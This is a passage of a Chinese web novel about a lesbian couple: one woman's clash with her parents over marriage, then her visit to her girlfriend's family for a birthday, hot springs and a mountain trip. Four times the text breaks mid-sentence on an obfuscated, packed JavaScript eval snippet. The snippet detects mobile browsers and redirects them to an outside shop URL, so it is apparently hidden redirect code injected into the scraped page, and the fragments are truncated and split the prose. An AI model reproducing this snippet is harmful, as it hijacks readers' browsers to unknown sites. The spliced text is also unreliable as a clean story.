秦离本来对这事就十分反感,在有了洛依之后就更不可能去了。奈何二姨和妈妈用家庭聚会的借口将她骗过去了,到了席上她才发现有陌生人,一下反应过来是怎么回事。 顾及桌上还有其她家里人,秦离憋着气把饭吃完,但没开口说过一句话,饭局结束后将车开回家后,就直接回了自己房间,将门砰的关上。 “秦离,开门,你这是什么态度!” 妈妈狂拍门,语气很凶。 秦离不想理会,但听到妈妈拍着拍着开始哭了,她又叹了口气,开了门:“好了,妈,别激动,我们好好谈谈吧。” 情绪在这种事上毫无意义,无论是她还是妈妈。这些年这种时候越来越多,在发现话语权上无法“控制”她后,妈妈就企图通过情绪来影响,况且她还有身体健康作为“筹码”。但越是这样,秦离就越是能感受自己在这段关系里的话语强势地位。 然后愈发感觉悲哀。 她也影响不了妈妈,但至少能控制自己理性对待。 爸爸一直站在妈妈身边,但这些吵闹和争执中,他一贯是沉默的,只会私下分别跟母女两人谈心,打和牌。 脑子冷静些后,秦离意识到,或许有什么契机,才让妈妈的行为突然又变得激进起来。 果然,三人在沙发坐下后,妈妈先是老生常谈说了一堆结婚生子、阴阳调和以及表姐表妹、朋友女儿的例子,隐晦意思不过是阴阳调和才是正道,其她邪路是不行的,还是得调整过来啊。 她自认为如此苦口婆心了,但这些令人作呕的父权主流思想实在是让秦离恶心。要是放在几年前,她不是直接甩袖子走人,就是大吵大闹起来。 而现在,或许是她真的年龄大了,竟也从妈妈的角度,知道她为什么会这么想,也知道她是不可改变的。 就像秦离自己也是不可改变的。 她们只能在一次又一次碰撞中,反复伤害对方。 但即便如此,秦离还是又一次耐心给妈妈解释:“那些都跟我没关系。我真的对男的不感兴趣,跟他们做朋友没问题很OK,但是要放在两性关系里,我想到就作呕。” 妈妈还执迷不悟追问:“你这样想不行啊,都还没和人接触,怎么就知道不行呢?你是一时不想恋爱,还是打算一辈子不结婚?” 秦离叹气:“妈,我之前已经说得很清楚了,我只是不会和男的结婚,如果恋爱,我也只会和女生谈恋爱。” 她本不想说得如此直白,知道这样妈妈一定会炸。 果不其然,一听到这话,妈妈的眉头紧皱着,泪水又止不住地往下流:“这样……这样你的人生都不完整了,你这样是不正常的啊……” 秦离自嘲地笑着:“那就让我的人生不完整吧,或许我就是不正常的。” 两人再次不欢而散。 爸爸安慰情绪激动的妈妈去休息。这次换成她砰的声将门关上,将自己裹在被子里逃避一切。 秦离的内心也不平静。刚刚跟妈妈那段无用的对话已经耗尽了她的全部力气,但还没结束。 果然,爸爸出来后,问她:“你到底是怎么想的,真的已经决定这辈子都这样了吗?” 这辈子,听起来好长啊……但秦离知道,这件事上她不能退却。 她点头:“我不可能如你们期待的去和不喜欢的人结婚生子的。” 爸爸道:“勺勺,我和妈妈没有想强迫你,只是想你多去接触接触,不要说得那么绝,多给自己留点机会,万一呢。而且要是全世界的人都像你这样想,人类就灭绝了。” 秦离不接他的招;“爸,不可能所有人都跟我一样的,总有人是异性恋,愿意去结婚生子,不差我这一个。就像别人喜欢吃橘子,我喜欢吃苹果,还有人喜欢吃其它的,不会所有人都只吃一种水果的。” “……”爸爸没有和秦离多争执,只道,“要说赞成还是反对,我肯定是百分百反对的。但这毕竟是你自己的人生,你要是坚持如此,我们也没办法,只是想要我们接受肯定是不可能的。” “如果你坚持一辈子不结婚……也行吧……但你要是带个女生回来结婚——哦不对,国内还结不了,总之你和谁在一起,我假装不知道,也别闹到我知道。” “不过,你妈那边,你还是收敛些,别被她再看见或听见什么了,她受不住。” 爸爸的态度已经出乎秦离以外了,她也知道妈妈这次突然又反应这么激烈是怎么回事了,或许就是某次看见她和洛依打电话了吧。 她不知道说什么,只有沉默着点点头。 晚上的时候,秦离没有跟洛依说白天这堆事,不想让她也跟着不高兴。但她始终有点疙瘩,意识到春节期间确实是催恋催婚的高峰期后,旁敲侧击着将话题往那方面引,想知道洛依那边是什么情况。 或许是回家了的缘故,洛依这几天的心情都还不错,笑着道:“外婆她们确实也有提起这个话题,不过我不想嘛,她们也没多说了。” 似乎很轻巧的样子,秦离放心了些,但仍有些空落落的。 洛依没有反过来问她。 大年初八——也就是二月八号,春节结束,秦离的休假正式开始,她迫不及待去了庸城。 庸城是洛依家的地方,一个归陵城管的小县城,规模可能跟秦离老家差不多。离庸城最近的机场在陵城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370233|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有三个小时的车程。 秦离本来想的是下飞机自己坐大巴过去,但洛依跟家里人说了她要来的事后,她妈爸都很热情,一开始决定两个人加洛依一起来接她。秦离被这盛情吓到,连说不用麻烦了,最后还是洛爸开车来。 秦离到的时候刚过中午,但陵城比庸城要冷许多,她裹了裹身上的薄款羽绒服,有点冷。 洛依和洛爸早就到了。 洛依老远就看见秦离出来,兴奋地小幅度挥着手。洛爸个子不高,是个戴着眼睛,看着比较儒雅的人,站在她后面笑着。 秦离抓紧包上的带子,有些紧张,跟见岳父似的。 洛爸寒暄了几句表示欢迎,秦离拿出平时社交的姿态,自信大方回话,期望给他留个好印象。看洛爸放松的微笑,应该是对她观感不错。 上车后,洛爸就没再说话,专心开车,把空间留给了坐在后排的洛依和秦离。 在视野盲区,秦离握紧洛依的手,用眼神传递着思念和爱意。 两人聊着之前工作和生活上的事。 洛依说着院子里不知道怎么冒出只兔子,还爱打洞,不知道是跑进来的还是谁养的。那天羊城下暴雨,宿舍建筑设计又不行,她们大晚上的拿桶接水,还拿着拖把疯狂拖地。结果第二天看见兔子的洞变了位置。 秦离笑着应,可能下雨那天晚上,兔子家也漏水了,她在家疯狂拖地没用呢,只能给自己再找个窝。 秦离又说到院子里的母猫生了小猫后,每天带着它学爬树呢。年前她们有个收尾工作大忙特忙的时候,一转头就看见母猫带着小猫再草坪上惬意地晒太阳,每天可以提前去食堂转一圈被投喂,还有人给它们准备了猫砂和猫粮呢。 这些其实都是两人之前在电话上已经说过的趣事,见面后又忍不住再说一遍。 离开陵城前,洛爸买了几杯奶茶,其中一杯是要带回去给洛妈的。 到庸城时刚好是傍晚饭点,洛妈在相熟的饭店预定了包间,正在门口等她们。 她是个干练优雅的女人,看着很年轻,跟洛依一样显小。看见秦离来,她笑得很热情,说话很亲昵:“是小离吧?这么远跑过来辛苦了,饿没饿?” 秦离也笑得很阳光,态度自然讨喜:“谢谢阿姨,我过来还好啦,飞机很方便、路上也有吃一点。之前洛依说她休年假,我说我也是这个时间,就想着过来找她玩,还刚好可以给她庆祝生日。就是麻烦叔叔专门来接我,还要你们破费,实在太不好意思了。” 洛妈对她印象也很好,笑道:“不用这么客气,这家是县上味道最好的家常菜,你今晚一定要多吃点。” “哇,那我就不客气啦,一直都很馋庸城菜,这次终于有机会尝一尝了嘿嘿。” 洛依第一次见她正经着“装模作样”,在旁边憋笑。 包间不大,但看着很精致,有淡淡花香,饭桌中间放着翡翠绿的玉瓶,转盘上已经放上凉菜、酒和饮品,四人的餐具摆放得很全,有服务员给她们引路,看着很正式。 秦离吞了吞口水,之前那种见岳父母,吃订婚饭的既视感越来越强了。 104. Chapter 104 秦离久违地吃了顿很累的饭。她脸上挂着微笑,全程身体板直,希望挣个好表现。 洛妈洛爸都是社会经验丰富的中年人了,自然能看出她的紧张,给她倒了点低度数的啤酒,吃喝之间,让氛围慢慢放松下来,最后所有人都很开心。 秦离能感受到她们的友善体贴,心中微暖。 吃完到家,刚开门,伴随着喵喵声,有只黢黑的猫冲了过去,黏着洛依的小腿蹭来蹭去。 “哇,这是那只暹罗吗?”秦离感叹,“真的跟照片里一样黑。” 仔细看,这并不是只黑猫,身侧和靠近腹部的位置还没完全变黑,带着些棕色,为它的品种正名。 不过这绝对是秦离看见最黑的一只暹罗了,不仔细看都分不清五官。 “哈哈,小离不知道吧,它成天在外面野,毛色可不就变得快嘛。”饭桌上洛妈已经换了称呼,示意秦离看窗户,“喏,它今天偷跑的罪证。” 秦离望过去,看到窗户大开着,显然是眼前这只当事猫所为。 洛爸补充解释:“它已经很会开窗了,每天都要出去溜达一圈,拦也拦不住,得亏我们是住在一楼。” 洛妈洛爸满眼都是对小猫的爱,跟她们对洛依一样。 这是个很温馨的家庭。 “咪咪~我回来了,想不想我呀,咪咪~”洛依声音不自觉夹起来,很可爱。她抬头喊秦离:“姐……秦离,你也来摸摸它,超乖的。” 秦离觉得她仿佛在说自己,确实很乖。 借着身形的掩饰,秦离快速摸了摸某只大猫的头,在她嗔怒的眼神里才一起撸小猫。 家里有多的客房,洛妈问秦离是单独睡,还是和洛依睡一起,秦离自然是选了后者。 在客厅聊了许久,待洛妈洛爸回房,秦离才拎着包和洛依回了她的房间。 关门的那刻,秦离很明显松了口气。洛依打着抿笑:“这么紧张的呀?” “当然。这是第一次见你妈爸,我当然想留个好印象。就是某只坏猫哦,一直偷偷在旁边笑我。不行,必须惩罚!” 秦离将还在笑的洛依扑倒在床上,直挠她的痒痒肉。床被突然的外力弄得嘎吱响。 “哈哈——哈——别,别弄了,这房间隔音不好,等会被我妈她们听见了——” 洛依眼泪都笑出来了,压抑着声音,说话喘着气断断续续,倒像是两人做/爱时候的样子。 “我错了,哈哈——姐姐,我错,错了。” 秦离终于放过她,在她唇上印上一吻:“乖。” “哼,你又欺负人。”洛依一得救就“翻脸不认人”,马上跑进被子里将自己裹起来。 保护! 秦离笑着:“怎么又像小猪那样哼哼唧唧的了呀。” “哼。” 两人打情骂俏了一番,但洛妈洛爸睡在隔壁,也不敢多做什么。 安静下来后,秦离将这次的见面和生日礼物递给洛依——是她今天大早上起来做的纸杯蛋糕和提前买好的白色手表。 洛依很欢喜地接过去,取下旧手表,换上这只,犹豫着又道:“明天我还是得换回来哦,等回单位了我再接着戴。我妈太敏锐了,我怕她看出端倪。” “好。”送礼物是为了她开心,秦离尊重她的意愿。不过看洛依白天这异常兴奋又黏糊人的样子,秦离总觉得暴露也是迟早的事。 纸杯蛋糕也被洛依放进了抽屉里,准备接下来几天慢慢吃。 秦离到她家来这件事确实让洛依情绪太亢奋了。 她们今晚没法做/爱,洛依便翻了好多自己过去的东西给秦离看。小时候的相册,校队打比赛夺冠的奖杯,朋友们过去送给她的礼物,用了好多年抱着睡的公仔…… 这个房间里满是洛依的痕迹,每个物品上都有她留下的气味。秦离津津有味地听着,对每样东西都爱屋及乌,想象着过去小洛依是怎么生活的。 真的好可爱。 在时间跳到第二天的瞬间,秦离笑着亲了亲洛依:“宝贝,生日快乐,希望你健康平安,永远开心。” “姐姐也是,要开心。” 庸城的冬天真的很冷,夜晚更冷,两人紧紧相拥。 第二天,秦离是被压在身上的重量给闷醒的。她皱着眉睁眼,看见有什么黑黑的一扫而过。 “喵——” 黑色小猫踩着轻盈的步子,从她和洛依的脑袋之间踩过去,熟练地叫铲屎官起床。 “……咪咪。” 这下洛依也醒了,迷糊着撸了一把小猫。 秦离凑过去,偷了个香吻:“宝贝,早上好。” “……唔,姐姐早。” 今天是工作日,洛妈洛爸都去上班了,家里只有两人一猫。开门让猫出去后,秦离抱着洛依有些蠢蠢欲动。 在这个充满洛依气味的房间里,秦离只觉得心中的渴望都被调动起来,变得像第一次那样激动。她从背后抱着洛依,吻落在了她的脸颊、耳后、脖后,洛依的身体轻轻颤动着。 两人的身体已经很默契了,一切都水到渠成。或许是在自己从小长大的房间里,洛依反应更强烈,刚开始就招架不住,一个劲地喊姐姐,小声呜咽着,但这只会让秦离更激动。 突然,有家里门打开的声音,谁回来了。这时候恰巧,洛依忍不住高喊了一声。 “……依依?你醒了吗?”是洛妈的声音。 两人一惊,秦离忙将手抽出来,抓过被子盖好。两人同时拉开距离,闭上眼睛假装睡着。 “依依?” 这次洛妈声音小了点,走过来敲了下门,见没有回应,轻轻打开房门,然后又再合上。 两人大气都不敢出,保持着姿势不动,等待着,直到过了一阵,又听到家门打开又砰地关上,洛妈应该离开了。 两人终于松了口气,洛依脸上的红晕也下去了:“吓死我了,还以为要被发现了呢。” “应该……没有吧?阿姨怎么会突然回来?”秦离看看床上床下,应该没有什么暴露的物品,只希望阿姨以为洛依刚刚那声是睡梦里发出来的。 “她单位离家挺近的,估计是回来拿东西。” 两人看看对方,这会也没有继续的冲动了,生怕洛妈洛爸谁再杀个回马枪。 肚子也有点饿了,洛依索性带秦离去吃米粉。米粉是庸城一绝,洛依严选,超级美味。 吃完后,两人便在县城里压马路。 庸城并不大,不算管辖的村镇,县城城区的最边缘地带到最中心区域只有四五公里,走走停停很快就逛完了。 她们路过了很多地方,每处都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370234|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛依成长的痕迹。她读书的小学、中学,她去过的公园,她吃过的店,甚至还遇见了记得她的副食店老板。 秦离好想参与进她过去的人生。如果她们从小就认识,一起长大,再自然而然相爱,然后一直在一起。 多么美好啊。 因为是洛依的生日,洛妈洛爸回来得很早。她们订了煲汤,买了卤菜和很多烧烤食材,又提了不同度数的酒——低度数主要是为洛依准备的——和很大的蛋糕回来,将客厅两个桌子拼起来,全摆满了,看上去很隆重。 女儿的生日,每年她们都很重视。 吃了很多,也喝了很多,洛妈讲了很多洛依的故事——当然也有一些糗事,将洛依都说得不太好意思。洛爸的话也多起来,说了一些趣事。秦离听得津津有味,期间总是忍不住在各种事上夸洛依。 桌子底下烤着火,所有人都红光满面。秦离习惯性照顾洛依,给她夹她够不着的菜,帮她清理面前的纸巾残渣。洛依也越来越放松,脚放在秦离大腿上,在沙发上依靠着没个正形。 两人桌下的动作被桌布遮掩着,秦离注意到洛妈的目光有停在上面,但最后还是移开,没说什么。 饭后是蛋糕环节。洛妈她们订的是个十寸的大蛋糕,上面写着“祝依依宝贝生日快乐!” 在最亲的家人和恋人的祝福和爱意中,洛依戴上生日帽,听着生日歌吹蜡烛许愿,是最幸福的二十四岁生日。 “生日快乐!” 我的宝贝。 秦离在心里默念着后半句。 吃饱喝足,秦离帮着洛妈收拾桌子,还顺手给洛依接了杯温水放过去。 洛妈不好意思了,忍不住“斥责”洛依:“依依,你看你都不动一下,还让小离这个客人来收拾。” 秦离连忙道:“没事,阿姨,这点小事,顺手的。” 洛依在旁边帮腔:“就是,就是,我们很熟的,不用这么客气啦。” 秦离也点头。 她们一个愿打,一个愿挨,洛妈笑着无奈地摇摇头。 所有都收拾完了,四人坐在沙发上看电视,继续聊天。 秦离已经发现了,洛依家的习惯是如果洛妈洛爸没有回房,洛依也不会回去。想到自己家里的情况,她有点惭愧,平时休息时间,她动不动一个人就缩到房间里做事或玩乐了,似乎和妈爸一起呆在客厅的时间很少。 其实这种感觉挺好的。 秦离现在面对洛妈洛爸已经没有一开始那么紧张了,但还是主动接过话题,很捧场。电视里放着五台的冰壶比赛,秦离便和洛爸聊了会冰壶,还说到自己大学里就有冰壶队。 她一向是什么都玩一点,什么都接触点,因此如果想,能和任何人聊起来,很快熟络,不会冷场。 今天的她也是火力全开,就是希望洛妈洛爸能对她印象再好一点。 倒是洛依越来越放松了,身体歪在秦离身上,沉浸在手机游戏里。 秦离不自觉调整姿势,让她靠得更舒服。 秦离的成熟稳重和两人的亲密举止让洛妈不尤感叹:“小离你真的是个很优秀的孩子,不像洛依总是让我和她爸很担心。” “哪有啦。”洛依撒娇抱怨着,也没抬头。 洛妈继续:“要是你也是我们家的孩子就好了。” 105. Chapter 105 “要是我们家有两个孩子,你是洛依的姐姐就好了。” 秦离知道,洛妈的意思还是希望有人能照顾好洛依。她很想说,她和洛依在一起,也能好好照顾她,两个人能好好生活。 这种不理智的冲动自然不可能说出来。 姐姐。 洛依抬头,无声说着这两个字的嘴型,笑得张扬。 秦离也笑了,笑得宠溺。 她还在想,看洛妈洛爸的态度,接受她和洛依的关系似乎也不是不可能吧? 瞒着不说确实不是她的风格。 时间不早了,睡前洛爸将车钥匙给了秦离:“这几天你们到处去玩玩。听依依说你开车技术挺好的,就开家里车吧,出行也方便。” “好!”秦离郑重接下,心中又升起种被岳父认可的微妙感。 晚上,两人收拾行李,准备明天先去附近泡温泉,然后再到陵城玩两天,陵城的嵩梁山很出名。而且洛依有两个好友就在陵城上班,她想带秦离跟好友见面吃饭。 秦离乐意至极。 每次来见洛依,秦离都是精心挑选衣服,美丽大于实用。这次也不例外,她带的最后的衣服就是件白色的短款羽绒服了,好看是好看,就是不抗冻。 洛依不太赞同:“嵩梁山上很冷,你这样遭不住的。” 最后在她的强烈要求下,秦离不情不愿换上了洛依的备用黑色羽绒服——保暖是保暖,就是看上去臃肿又呆呆的。 看她委屈的小神情,洛依哭笑不得:“你不要让自己受冻难受呀。” 在她眼里,秦离是很优秀的人,怎么样都超有魅力。 当然,这种让人害羞的话,她一般是不会直白说出来的。 庸城的温泉很出名,离县城只有二十来公里。两人开车到了那里才买泳衣,秦离选了套绿色的分层式露腰裙装,洛依选了连体的裤装,露得很少,都很符合各自的风格了。 温泉一半室内,一半室外,有二十多个池子。因为工作日的缘故,人并不太多。 明明平时都已经赤/裸相见不知道多少次了,洛依依旧害羞着要去卫生间换好泳衣才出来,不像秦离大咧咧地在有人的更衣间里就脱了。 两人的戒指取下来,小心放在了包的内侧口袋。 庸城虽然是个小地方,但这里的温泉池倒是花里胡哨的,除了常见的红酒汤、牛奶汤、玫瑰汤外,还有什么五福汤、鹤鸣汤、名木汤,搞得秦离觉得自己也成了被煮的药材。 洛依倒是很习惯这种味道。 她不喜欢跟其她人呆一起,她们就找没人的池子。 两人说笑着,秦离将洛依拦腰搂着,让她坐在自己腿上,柔软的触感让她心也化成一滩春水。 庸城是个很舒服的小县城,秦离感慨这里空气干净,东西好吃,洛依的家庭也很温馨,真的是生活起来很安逸的地方。 洛依也赞同,回到家里让她整体状态都放松下来,没有在春城和花城时那种焦躁。 环住秦离的脖子,洛依有些忧郁:“我觉得这里很好,一点都不想离开。以前读大学的地方离家有三百多公里,我刚去的时候每周都好想家,忍不住要哭,后来至少每个月要回次家。” “但庸城,包括陵城、星城都没什么合适的岗位。我们系统能找到的合适工作,最近的就在花城了,而且我妈爸也觉得还是去大城市生活比较好,比小地方有前途” “哎,花城房价那么贵,要在那里定居,她们肯定得想方设法,花掉所有的积蓄。其实陵城就很好,该有的公共设和保障都有,房价也不贵,以后我钱够了不如在陵城买房好了。” 在秦离看来,洛依已经算是同龄人中存款多的了,不过她依旧很焦虑。 秦离安慰她:“不着急,慢慢来嘛。房子也不是一两天就能决定买不买的,更何况你在花城也要先熟悉适应一段时间,才说后续的事。” 她还有话没说完。 其实南城也是生活幸福度很高的城市,要是洛依能来南城就好了,但看她家里人都已经为她规划好了花城的发展路线,她又不好多说什么。 总不能那么自私,让对方无视这些来自己的城市吧。 至于自己,可变动性跟更强些,她主动也没关系。 洛依也就是这么说着。她喜欢和秦离聊家的话题,说到她们住在一起后要买些什么,做些什么,家里要怎么布置。 她们现在便每天都住在一起,在真正家的地方,就好像在为未来的同居生活做准备。 熟悉的人和环境满足了洛依的安全感,秦离也喜欢看到她没有阴霾的笑容,但欢喜的同时,又好像有一丝对不起父母的彷徨。 大部分温泉是适应温度后就觉得有些凉了,两人最后决定去温度很高的那个硫磺池。 硫磺池是室外最大的池子,泡在里面一点不觉得冷。池子前方架了个超大的幕布,在放听旋律猜歌的综艺节目。 秦离趴在池边看得津津有味,一边跟洛依一起比谁能先猜出来,一边吐槽这期选手不行,连这都猜不中。 洛依打趣她:“姐姐,你这爱好好像我妈哦。你知道的歌都好老哦,我听过的你就都不知道了。哎呀,怎么有人跟我只差三岁也有代沟呀。” “嘲笑我哦。”秦离敲了下她的头,“这说明我厉害,连以前的歌都记得,而且老歌就是比现在这些好听嘛。” 洛依捂着脑袋,无辜地看着她,“眼泪汪汪”。 泡完温泉,整个人都舒坦了,也不觉得那么冷了。反正行李都在车上,两人决定直接开车去陵城,到那边再吃顿好的。 从庸城开车过去要两个多小时,有两条路可选。秦离想带洛依看风景,没选高速,全程国道和省道。开着开着,全是上山的路了,秦离又看了看导航,才发现要翻过一座山,路过叫三峰的村庄。 “要过三峰啊。我有个朋友就在三峰这边当老师,学生们还挺淳朴的,就是日子太苦兮兮了,又冷。” 山上确实比山下冷多了,开了一阵,目及之处便是白茫茫的一片,两边的草地上堆了厚厚的雪,道路上也越来越多还未消融的,虽然大部分被铲到两侧,地面也有薄薄的一层冰。 秦离开了防滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370235|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模式,顺着车辙的痕迹走,问题不大。 车内放着轻柔的音乐,轿车缓慢行驶着。前后一个车都没有,整条路上只有她们一个车,两个人。 洛依兴奋地在旁边说些什么,声音在狭窄的空间里回荡着。前方看不到尽头,只有无尽的山、雪和树,这一刻,她们似乎在不得不去的旅途上,整个世界没有其她人。 只有她们两个,相依为命。 秦离好喜欢这种感觉,甚至希望这条路永远不要走到头,永远不要遇见其她人。 “姐姐!”洛依大声喊她。 秦离这才从这种迷离的幻觉中回神。 “要不要下去走走?” “好啊。” 转过这个弯,下条直路两边是宽广的平地,远处还有间茅草屋,惨败破损,估计已经没人住了。 洛依的脸因为车内热气红扑扑的。她试着踩了一脚,又戳了戳,发现这里的雪不深,只盖过鞋底,便放心大胆往前跑。 “姐姐,你快过来!”她哈着白气,朝她挥手。 秦离看着那个穿得鼓鼓的身影,看着那明明离得很远却依旧很闪耀的,想的是,应该给她织条好看的围巾了。 “你小心点。”秦离担心她受伤,跟了过去。 突然,洛依举起藏在背后的另一只手,扔出刚刚蹲下偷捏的雪球,正中秦离的肩膀。 “哈哈,你上当啦!” 秦离愣了下,很快反应过来:“好哇,偷袭是吧,你要遭了!” 她马上发起反攻,两人你来我往打成一片,最后双双栽倒在雪地上,气喘吁吁。 洛依这时还要倒打一耙:“你怎么这么凶呀。”她声音软软的,听上去像撒娇。 秦离笑着凑过去亲她的嘴唇,她再说就再亲,直到她只能眨着眼睛,无辜地看着她。 突然,洛依反过来按住她,在她嘴唇咬了一口,起身跑了。 “哼,还不让说,霸道!” 秦离仍大张着四肢躺在雪地上,笑得像个傻子。 回到车上,继续前进。 然而,越往前走,路上的雪越来越多,车辙也变得更不明显,仍然一辆车、一个人都没看见。 洛依有点不安:“我们没走错吧。” 导航确实是这么规划路线的,也有路,而且开了这么久,现在也不好往回走了,秦离镇定道:“没事,先继续开吧。有我在,放心。” 即使是雪地,她也有信心安全开到目的地。 洛依听她的。 又开了半个多小时,已经在往山下开了。又转过一个弯,突然,两人看见前面停了大型机械车——看不出是什么功能的,将整条路都拦住了。 不是吧。秦离在心中哀嚎,都到这里了,不会真的还得开回去吧。 幸好机械车上似乎有人,将挡路的机械臂挪了挪,让出一车身的位置,让她们过去。 秦离连忙开车道谢。 都开过去了,洛依跟秦离说:“机械车前面好像立了个很大的牌子,上面写着——” “危险!禁止通行!” 106. Chapter 106 两人后来才知道,前一晚雪下得太大,山上道路完全不同,还有部分地段有落石,机械车清理了一上午,但不知为何,只在一边山口列了禁止牌子,另一边却没管。 洛依吐槽:“真是太不靠谱了。” 秦离这时才后怕,庆幸她们没有遇到事故。 到陵城时,洛依说要先去等朋友下班。她今天约了两个好友,祁婧钰和殷秋。祁婧钰就是她们这会要去等的人,在银行上班,备受折磨。殷秋最近刚辞职,倒是很闲,但今天好像和女友吵架了,这会正在安慰人呢,也不知道晚上吃饭还带不带人过来。 洛依吐槽着,她们老是这样,三天两头就吵,又不愿意分开,就这么纠缠着,也不知道是为了什么。 还是我们好。洛依有些小得意。 祁婧钰下班时还在唉声叹气,满脸疲惫,但看见洛依很开心,对着秦离客气地打招呼,秦离也客气回应着。殷秋那边总算是不知道谁把谁哄好了,和女友一起过来,看着恩恩爱爱。 晚上吃饭的地方是江边一家招牌麻辣小龙虾。陵城的小龙虾出了名的好吃,麻辣味十足,五个人猛猛炫。 在相熟的朋友面前,洛依显得尤其活泼,话也很好。秦离坐在旁边安静地听她们聊天,一会聊到谁谁谁终于离婚了现在去了哪里上班,一会聊到谁谁谁换了不知道第几十个女朋友,大家“亲切”地称呼她为“麻将”——前任多的不是可以打麻将了而是直接凑成一桌麻将。 秦离偶尔也插入话题,说一些知道的趣事,做个合格的陪同人,但大多时候还是默默吃。 洛依看似聊得上头,但一直关注着秦离,像当初见她的朋友时那样照顾她,生怕她有不适应不舒服的地方。 秦离对这种社交场合是如鱼得水,不会让谁难堪。 气氛和谐。 饭后,四人到酒店里打麻将——洛依专门订了间麻将房。殷秋和她女友一方,洛依、秦离和邓婧钰各一方。 她们打的是陵城麻将,跟南城麻将有所不同,除了正常碰杠外,下家可以吃上家的牌(如手上有三四条,上家打二条就可以吃),杠后根据扔骰子点数从最后一张牌起倒数着摸牌,如果胡了就是直接拉满(如打一块,就是家家十八,这个数字可以提前商量好)。 秦离觉得还挺有意思的。 她是个麻将老手了,大学的时候跟郭平、杨晓瑞他们天天打,四小时一场保底两场。最豪华的战绩是从圣诞到元旦,每天下午两点打到早上六点回去睡觉,第二天继续。元旦后大家都说不来了不来了,结果翻过年还是一样框框打。 当然,大三开始所有人都忙碌起来,逐渐为生计发愁,不再凑一起纯粹玩乐了。到现在,除了和家里人,秦离也不怎么打了,觉得挺浪费时间的。 但即使如此,和桌上三个挠头纠结,一看就是新手的人比起来,秦离还是太老练了,简直是降维打击。 她水已经放到太平洋里去了——尤其是对洛依,还是一铲三的节奏。 打了几把后,其她人闹腾:“不行,这样打下去没意思,完全全是被虐嘛。” 秦离打着抿笑。 众人抗议,不能让秦离加入,变成她和洛依一方,其她三个人一方。 秦离也乐得休息。 四个人菜得旗鼓相当。 秦离看洛依打,只在关键时刻偶尔说两句,不干涉她的乐趣,又让她有时候能赢几把。 一个多小时下来,洛依成了最大的赢家。她哈哈大笑:“你们也有今天!让你们之前每次打都赢我,今天就是我的报仇日!” 她转头小声跟秦离撒着娇抱怨,说之前和她们打基本都是输。 “这下好啦,你带我把她们全赢回来!”她看着秦离,眼睛亮晶晶的,很有活力。 “好。”秦离宠溺地笑着。 第二天邓婧钰要上班,大家没有玩到很晚。把人都送走后,洛依依旧神采奕奕,情绪很好。 “姐姐,你好厉害呀,怎么什么都会!” 这算什么厉害,秦离哭笑不得。不过洛依崇拜的眼神还是让她很受用。 麻将房是标间,两人艰难地将床推在一起,睡在了中央。明天一早要去嵩梁山,没有再多做什么。 嵩梁山就在陵城市区里,有天然穿山溶洞,古树藤蔓和岩溶石芽很多,风景很美。 上山要坐索道缆车,才到半山腰就已经看见大片山体被冰雪覆盖。 秦离一直趴在玻璃上看雪拍照。作为一个很少看见雪的南城人,这点雪已经让她很兴奋了。 洛依倒是看厌了,但没说扫兴的话,还趁她不注意偷偷拍了两张照。 看着呆呆的。 爬山,大部分时候就是朝上朝下走路。秦离是现在体力不好,洛依是身体有些虚,两人就都慢慢走着,十多二十岁的少年和闹腾的小孩一个劲地往前冲。 洛依感慨:“还是年轻好啊。” 秦离哭笑不得:“你都才二十出头,还小呢,怎么露出一副沧桑的样子。” “都二十四了,不小啦,你看我眼尾都有细纹了。” “哪里?”秦离凑过去看,然后突然在她眼尾亲了一口,才笑嘻嘻道,“看过啦,没有~” 洛依嗔怒着瞪了她一眼:“说正经话呢。” “我也是说正经话哦。”秦离捏捏她的脸,“人生还长着呢,说实话,我现在都觉得自己还小,未来还有好多想做的事。” 她也已经慢慢恢复锻炼,就是想身体也好点。 “真有活力啊姐姐。” 秦离笑着,长发被风吹着扬得很高。 走过无人的长长木梯,两边是皑皑白雪。秦离觉得景很美,拍了几张。 洛依问她要不要给她拍点照片,秦离欣然答应。但换成洛依自己,却是连连摇头。 “和你的合照还可以,单独的就算了,我也不喜欢拍照。” 最后,相册里留下的是秦离在木梯、玻璃栈道和各种石碑前的合影。她双手垂下,看着镜头,有点呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 